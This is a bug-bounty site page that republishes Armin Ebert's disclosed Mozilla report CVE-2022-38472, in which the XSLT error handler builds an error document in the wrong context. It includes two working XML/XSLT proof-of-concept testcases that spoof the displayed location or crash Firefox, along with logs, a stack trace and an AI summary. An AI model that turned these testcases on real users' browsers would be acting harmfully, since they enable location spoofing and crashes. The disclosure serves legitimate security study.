Skip to content
XSS Disclosed report Advanced CVE-2022-38472

XSLT error handler may set up error document in incorrect context

The XSLT error handler creates a new error document in the wrong context, allowing an attacker-controlled error document to replace the current document and share the same outer window. This can lead to spoofing of the displayed location and potentially cause crashes.

Armin Ebert Follow

Originally disclosed on Mozilla

  • Fixed in 3 months
  • Paid in 3 months
  • Disclosed after 3 months

The XSLT processor may act on the wrong context when reporting an error, thus possibly substitute the wrong document with an (attacker-controlled) error document. This can cause a state where different documents (of potentially different origins) refer to the same outer window.

With fission disabled, this can also fully spoof the displayed location / window.location.

Testcase 1

http://localhost/testcase1.xml:

XML
<?xml-stylesheet type="application/xml" href="#sheet"?>
<stylesheet id="sheet" version="1.0" xmlns="http://www.w3.org/1999/XSL/Transform">
<template match="/">
    <script xmlns="http://www.w3.org/1999/xhtml">
        window.location = 'data:image/png,x'
        alert()
    </script>
</template>
</stylesheet>

Expected: Upon load, we should be redirected to data:image/png,x, an ImageDocument on a nullprincipal. Actual result: We're redirected to data:image/png,x, but the document is an XMLDocument on the origin localhost.

What happens:

  • The XSLT processor executes the contained sheet and inserts a <script> element as per the <template> rule.
  • The script runs immediately (while the XSLT processor is still active) and initiates relocation to the data: image URI.
  • The alert() modal suspends the XSLT processor, keeping it from completing normally.
  • When the location change cancels the XSLT processor, the newly created error document replaces new image document after the redirect.

Corresponding DOMLeak log:

[Child 2141987: Main Thread]: D/DOMLeakOuter DOMWINDOW 614000009e40 created outer=nullptr
[Child 2141987: Main Thread]: D/DOMLeakInner DOMWINDOW 61900014a580 created outer=614000009e40
[Child 2141987: Main Thread]: D/DOMLeakInner DOMWINDOW 61900014a580 SetNewDocument about:blank
[Child 2141987: Main Thread]: D/DOMLeakInner DOMWINDOW 61900014fa80 created outer=614000009e40
[Child 2141987: Main Thread]: D/DOMLeakInner DOMWINDOW 61900014fa80 SetNewDocument http://localhost/testcase1.xml
[Child 2141987: Main Thread]: D/DOMLeakInner DOMWINDOW 6190001b7680 created outer=614000009e40
[Child 2141987: Main Thread]: D/DOMLeakInner DOMWINDOW 6190001b7680 SetNewDocument data:image/png,x
[Child 2141987: Main Thread]: D/DOMLeakInner DOMWINDOW 619000247780 created outer=614000009e40
[Child 2141987: Main Thread]: D/DOMLeakInner DOMWINDOW 619000247780 SetNewDocument http://localhost/testcase1.xml

Testcase 2

This behavior can also be leveraged to reach div. invalid states and crashes, e.g.:

XML
<?xml-stylesheet type="application/xml" href="#sheet"?>
<stylesheet id="sheet" version="1.0" xmlns="http://www.w3.org/1999/XSL/Transform">
<template match="/">
    <script xmlns="http://www.w3.org/1999/xhtml">
        location.reload()
        alert()
    </script>
</template>
</stylesheet>

This crashes e.g. once you relocate, insert an <iframe>, or un- and refocus the window.

Details

When an error occurs while processing an XSLT sheet, it's handled in txMozillaXSLTProcessor::reportError(). Here, a new XML document is created for the error report. It replaces the current one and uses a new inner window.

Trace to illustrate how an XSLT error leads to a new nsGlobalWindowInner:

C++
#0  nsGlobalWindowInner::nsGlobalWindowInner(nsGlobalWindowOuter*, mozilla::dom::WindowGlobalChild*) (this=0x7fc418bd7800, aOuterWindow=0x7fc447ba6bc0, aActor=0x0) at /builds/worker/checkouts/gecko/dom/base/nsGlobalWindowInner.cpp:938
#1  0x00007fc4349f76f3 in nsGlobalWindowInner::Create(nsGlobalWindowOuter*, bool, mozilla::dom::WindowGlobalChild*) (aOuterWindow=0x7fc447ba6bc0, aIsChrome=false, aActor=0x0) at /builds/worker/checkouts/gecko/dom/base/nsGlobalWindowInner.cpp:7805
#2  0x00007fc434a18542 in nsGlobalWindowOuter::SetNewDocument(mozilla::dom::Document*, nsISupports*, bool, mozilla::dom::WindowGlobalChild*) (this=0x7fc447ba6bc0, aDocument=0x7fc421842200, aState=0x0, aForceReuseInnerWindow=false, aActor=0x0) at /builds/worker/checkouts/gecko/dom/base/nsGlobalWindowOuter.cpp:2217
#3  0x00007fc4393eedeb in nsDocumentViewer::SetDocumentInternal(mozilla::dom::Document*, bool) (this=0x7fc41be88040, aDocument=0x7fc421842200, aForceReuseInnerWindow=false) at /builds/worker/checkouts/gecko/layout/base/nsDocumentViewer.cpp:1883
#4  0x00007fc4393ee9ae in nsDocumentViewer::SetDocument(mozilla::dom::Document*) (this=0x7fc41be88040, aDocument=0x7fc421842200) at /builds/worker/checkouts/gecko/layout/base/nsDocumentViewer.cpp:1834
#5  0x00007fc4388beb8f in nsXMLContentSink::OnTransformDone(nsresult, mozilla::dom::Document*) (this=0x7fc4192ef000, aResult=nsresult::NS_ERROR_FAILURE, aResultDocument=0x7fc421842200) at /builds/worker/checkouts/gecko/dom/xml/nsXMLContentSink.cpp:354
#6  0x00007fc43892d5fd in txMozillaXSLTProcessor::notifyError() (this=0x7fc41f44d1c0) at /builds/worker/checkouts/gecko/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:1028
#7  0x00007fc43891fa5a in txMozillaXSLTProcessor::reportError(nsresult, char16_t const*, char16_t const*) (this=0x7fc41f44d1c0, aResult=nsresult::NS_ERROR_FAILURE, aErrorText=0x7fc41f4b2408 u"XML Parsing Error: syntax error\nLocation: data:,x\nLine Number 1, Column 1:", aSourceText=0x7ffdecb80e04 u"x\n^") at /builds/worker/checkouts/gecko/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:958

Note that this is different to the handling of a non-XSLT XML parsing error which gets handled in nsXMLContentSink::ReportError(). In that case, the current node tree is just swapped out for a <parsererror> node (i.e. the DOM changes, but no new document is created). So I don't believe this bug extends to "regular" XML error pages.

The original report as published on Mozilla's Bugzilla, by Armin Ebert. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely, the XSLT error handler creates a new document and replaces the current one without properly checking the context, leading to a mismatch between the outer window and the document's origin.

Impact

This can cause different documents of potentially different origins to refer to the same outer window, and with fission disabled, it can fully spoof the displayed location; it can also lead to crashes.

What the attacker needed

Victim loads a malicious XML file; browser with XSLT support

How it was found

  1. Load an XML file with an embedded XSLT stylesheet that includes a script element.
  2. The script executes during XSLT processing and initiates a navigation to a data: URI.
  3. An alert() suspends the XSLT processor, preventing normal completion.
  4. The location change cancels the XSLT processor, and the error document replaces the new document after the redirect.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When a web page uses XSLT to transform XML, errors during processing are handled by creating a new error page. The bug is that this error page is created in the wrong browsing context, so it can replace a different page than intended. An attacker could craft a malicious XSLT that triggers an error, causing their own content to be shown in place of the legitimate page, which might trick users or crash the browser.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by Armin Ebert

View all

18 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.